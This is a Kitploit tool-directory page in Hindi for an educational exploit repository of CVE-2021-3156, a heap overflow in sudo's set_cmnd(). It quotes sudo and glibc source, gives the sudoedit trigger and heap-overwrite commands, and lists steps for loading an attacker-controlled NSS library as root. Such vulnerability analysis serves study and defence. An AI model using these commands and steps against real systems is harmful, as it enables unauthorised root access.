Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-3156 — शैक्षिक शोषण कार्यान्वयन और CVE-2021-3156 का विश्लेषण, sudo के set_cmnd() फ़ंक्शन में हीप-आधारित बफर ओवरफ़्लो, जो क्राफ्टेड कमांड-लाइन आर्गुमेंट्स के माध्यम से रूट तक विशेषाधिकार वृद्धि को सक्षम करता है। | Kitploit
उपकरण/GitHubGitHub/musergi/cve-2021-3156
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपेपर और शोधलर्निंग और शिक्षाबाइनरी शोषण
GitHubmusergi/cve-2021-3156

CVE-2021-3156

शैक्षिक शोषण कार्यान्वयन और CVE-2021-3156 का विश्लेषण, sudo के set_cmnd() फ़ंक्शन में हीप-आधारित बफर ओवरफ़्लो, जो क्राफ्टेड कमांड-लाइन आर्गुमेंट्स के माध्यम से रूट तक विशेषाधिकार वृद्धि को सक्षम करता है।

रिपॉजिटरी देखें
24 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-3156

इस दस्तावेज़ में हम उस सभी ज्ञान को शामिल करते हैं जो इस रिपॉजिटरी के कोड को समझने और यह क्यों काम करता है, इसे समझने के लिए आवश्यक है। सभी स्पष्टीकरण QUALYS द्वारा बनाई गई रिपोर्ट पर आधारित है। इसमें शोषण के अन्य रूपों की व्याख्या की गई है।

आवश्यकताएँ

sudo के संवेदनशील संस्करण 1.8.2 से 1.8.31p2 तक के लीगेसी संस्करण और 1.9.0 से 1.9.5p1 तक के सभी स्थिर संस्करण हैं, उनके डिफ़ॉल्ट कॉन्फ़िगरेशन में।

यह रिपॉजिटरी उबंटू 20.04 (sudo 1.8.31) पर परीक्षण की गई है। इसमें हम रूट विशेषाधिकारों के साथ एक टर्मिनल खोलते हैं।

विश्लेषण

यदि Sudo को शेल मोड में एक कमांड चलाने के लिए निष्पादित किया जाता है:

  • -s विकल्प के माध्यम से, जो sudo के MODE_SHELL फ़्लैग सेट करता है।
  • -i विकल्प के माध्यम से, जो sudo के MODE_SHELL और MODE_LOGIN_SHELL फ़्लैग सेट करता है।

फिर sudo के main() की शुरुआत में, parse_args() सभी कमांड-लाइन तर्कों को जोड़कर और सभी मेटा-कैरेक्टर को बैकस्लैश से एस्केप करके argv को फिर से लिखता है।

root@kitploit:~
    if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
        char **av, *cmnd = NULL;
        int ac = 1;

            cmnd = dst = reallocarray(NULL, cmnd_size, 2);

            for (av = argv; *av != NULL; av++) {
                for (src = *av; *src != '\0'; src++) {
                    /* संभावित मेटा कैरेक्टर को कोट करें */
                    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
                        *dst++ = '\\';
                    *dst++ = *src;
                }
                *dst++ = ' ';
            }
...
            ac += 2; /* -c cmnd */
...
        av = reallocarray(NULL, ac + 1, sizeof(char *));
...
        av[0] = (char *)user_details.shell; /* प्लगइन शेल को ओवरराइड कर सकता है */
        if (cmnd != NULL) {
            av[1] = "-c";
            av[2] = cmnd;
        }
        av[ac] = NULL;

        argv = av;
        argc = ac;
    }

बाद में, sudoers_policy_main() में, set_cmnd() कमांड-लाइन तर्कों को एक हीप-आधारित बफर user_args में जोड़ता है और मेटा-कैरेक्टर को अनएस्केप करता है, "sudoers मिलान और लॉगिंग उद्देश्यों के लिए":

root@kitploit:~
    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
             for (size = 0, av = NewArgv + 1; *av; av++)
                 size += strlen(*av) + 1;
             if (size == 0 || (user_args = malloc(size)) == NULL) {
...
             }
             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
                 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
                     while (*from) {
                         if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                             from++;
                         *to++ = *from++;
                     }
                     *to++ = ' ';
                 }
...
             }
...
     }

यदि कोई कमांड-लाइन तर्क एक एकल बैकस्लैश वर्ण के साथ समाप्त होता है, तो:

  • from[0] बैकस्लैश वर्ण है और from[1] नल टर्मिनेटर है
  • from को बढ़ाया जाता है और यह नल टर्मिनेटर की ओर इशारा करता है
  • नल टर्मिनेटर को user_args बफर में कॉपी किया जाता है और from को फिर से बढ़ाया जाता है और यह सीमा से बाहर इशारा करता है
  • while लूप बाउंड से बाहर के वर्णों को पढ़ता है और user_args बफर में कॉपी करता है।

दूसरे शब्दों में, set_cmnd() एक हीप-आधारित बफर ओवरफ्लो के लिए संवेदनशील है, क्योंकि जो बाउंड से बाहर के वर्ण user_args बफर में कॉपी किए जाते हैं, वे इसके आकार में शामिल नहीं थे।

हालांकि, सिद्धांत रूप में, कोई भी कमांड-लाइन तर्क एक एकल बैकस्लैश वर्ण के साथ समाप्त नहीं हो सकता है: यदि MODE_SHELL या MODE_LOGIN_SHELL सेट है (संवेदनशील कोड तक पहुँचने के लिए एक आवश्यक शर्त), तो MODE_SHELL सेट है और parse_args() ने पहले से ही सभी मेटा-कैरेक्टर को एस्केप किया है, जिसमें बैकस्लैश भी शामिल है (अर्थात, इसने प्रत्येक बैकस्लैश को दूसरे बैकस्लैश से एस्केप किया है)।

व्यवहार में, हालांकि, set_cmnd() में संवेदनशील कोड और parse_args() में एस्केप कोड थोड़े अलग स्थितियों से घिरे हुए हैं:

root@kitploit:~
    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
            if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {`

बनाम:

root@kitploit:~
    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {

हमारा प्रश्न, फिर, यह है: क्या हम MODE_SHELL और या तो MODE_EDIT या MODE_CHECK सेट कर सकते हैं (संवेदनशील कोड तक पहुँचने के लिए) लेकिन डिफ़ॉल्ट MODE_RUN नहीं (एस्केप कोड से बचने के लिए)?

इसका उत्तर, ऐसा प्रतीत होता है, नहीं है: यदि हम MODE_EDIT (-e विकल्प) या MODE_CHECK (-l विकल्प) सेट करते हैं, तो parse_args() valid_flags से MODE_SHELL हटा देता है और यदि हम कोई अमान्य फ़्लैग निर्दिष्ट करते हैं (जैसे MODE_SHELL), तो एक त्रुटि के साथ बाहर निकलता है:

root@kitploit:~
                case 'e':
...
                    mode = MODE_EDIT;
                    sudo_settings[ARG_SUDOEDIT].value = "true";
                    valid_flags = MODE_NONINTERACTIVE;
                    break;
...
                case 'l':
...
                    mode = MODE_LIST;
                    valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
                    break;
...
    if (argc > 0 && mode == MODE_LIST)
        mode = MODE_CHECK;
...
    if ((flags & valid_flags) != flags)
        usage(1);

लेकिन हमें एक खामी मिली: यदि हम Sudo को sudoedit के रूप में निष्पादित करते हैं न कि sudo के रूप में, तो parse_args() स्वचालित रूप से MODE_EDIT सेट करता है लेकिन valid_flags को रीसेट नहीं करता है, और valid_flags में डिफ़ॉल्ट रूप से MODE_SHELL शामिल है:

root@kitploit:~
#define DEFAULT_VALID_FLAGS     (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
    int valid_flags = DEFAULT_VALID_FLAGS;
...
    proglen = strlen(progname);
    if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
        progname = "sudoedit";
        mode = MODE_EDIT;
        sudo_settings[ARG_SUDOEDIT].value = "true";
    }

परिणामस्वरूप, यदि हम "sudoedit -s" निष्पादित करते हैं, तो हम दोनों MODE_EDIT और MODE_SHELL सेट करते हैं (लेकिन MODE_RUN नहीं), हम एस्केप कोड से बचते हैं, संवेदनशील कोड तक पहुँचते हैं, और एक कमांड-लाइन तर्क के माध्यम से हीप-आधारित बफर user_args को ओवरफ्लो करते हैं जो एक एकल बैकस्लैश वर्ण के साथ समाप्त होता है:

root@kitploit:~
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)

एक हमलावर के दृष्टिकोण से, यह बफर ओवरफ्लो आदर्श है:

  • हम उस user_args बफर के आकार को नियंत्रित करते हैं जिसे हम ओवरफ्लो करते हैं (हमारे संयोजित कमांड-लाइन तर्कों का आकार);
  • हम स्वतंत्र रूप से ओवरफ्लो के आकार और सामग्री को नियंत्रित करते हैं (हमारा अंतिम कमांड-लाइन तर्क सुविधाजनक रूप से हमारे पहले पर्यावरण चरों के बाद आता है, जो आकार गणना में शामिल नहीं हैं);
  • हम जिस बफर को ओवरफ्लो करते हैं, उसमें नल बाइट भी लिख सकते हैं (प्रत्येक कमांड-लाइन तर्क या पर्यावरण चर जो एक एकल बैकस्लैश के साथ समाप्त होता है, user_args में एक नल बाइट लिखता है)।

उदाहरण के लिए, amd64 Linux पर, निम्न कमांड 24-बाइट user_args बफर (32-बाइट हीप चंक) आवंटित करता है और अगले चंक के size फ़ील्ड को "A=a\0B=b\0" (0x00623d4200613d41), इसके fd फ़ील्ड को "C=c\0D=d\0" (0x00643d4400633d43), और इसके bk फ़ील्ड को "E=e\0F=f\0" (0x00663d4600653d45) से अधिलेखित करता है:

root@kitploit:~
env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
root@kitploit:~
--|--------+--------+--------+--------|--------+--------+--------+--------+--
  |        |        |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+--
              size  <---- user_args buffer ---->  size      fd       bk

शोषण

root@kitploit:~
Program received signal SIGSEGV, Segmentation fault.

0x00007f6bf9c294ee in nss_load_library (ni=ni@entry=0x55cf1a1dd040) at nsswitch.c:344

=> 0x7f6bf9c294ee <nss_load_library+46>:        cmpq   $0x0,0x8(%rbx)

rbx            0x41414141414141    18367622009667905

क्रैश करने वाला फ़ंक्शन glibc से nss_load_library() है (लाइन 344 पर) क्योंकि पॉइंटर library अधिलेखित हो गया था।

root@kitploit:~
static int
nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {

      ni->library = nss_new_service (service_table ?: &default_table,
                                     ni->name);

    }

  if (ni->library->lib_handle == NULL)
    {
      /* शेयर्ड लाइब्रेरी लोड करें।  */
      size_t shlen = (7 + strlen (ni->name) + 3
                      + strlen (__nss_shlib_revision) + 1);
      int saved_errno = errno;
      char shlib_name[shlen];

      /* शेयर्ड ऑब्जेक्ट नाम बनाएँ।  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                                              "libnss_"),
                                    ni->name),
                          ".so"),
                __nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);

इस क्रैश का शोषण करने के चरण निम्नलिखित हैं:

  • ni->library को NULL से अधिलेखित करें। यह कोड को if क्लॉज़ में प्रवेश कराएगा और लाइब्रेरी की पार्सिंग और लोडिंग शुरू करेगा।
  • ni->name को "X/X" से अधिलेखित करें। यह मूल रूप से "systemd" रखता है।
  • इसलिए __strcpy लाइनें "libnss_systemd.so.2" के बजाय "libnss_X/X.so.2" को पार्स करेंगी।
  • इसलिए हम अपने द्वारा नियंत्रित शेयर्ड लाइब्रेरी "libnss_X/X.so.2" को रूट के रूप में लोड कर रहे हैं। इसमें हम रूट के रूप में जो चाहें कर सकते हैं।
टूल डाउनलोड करें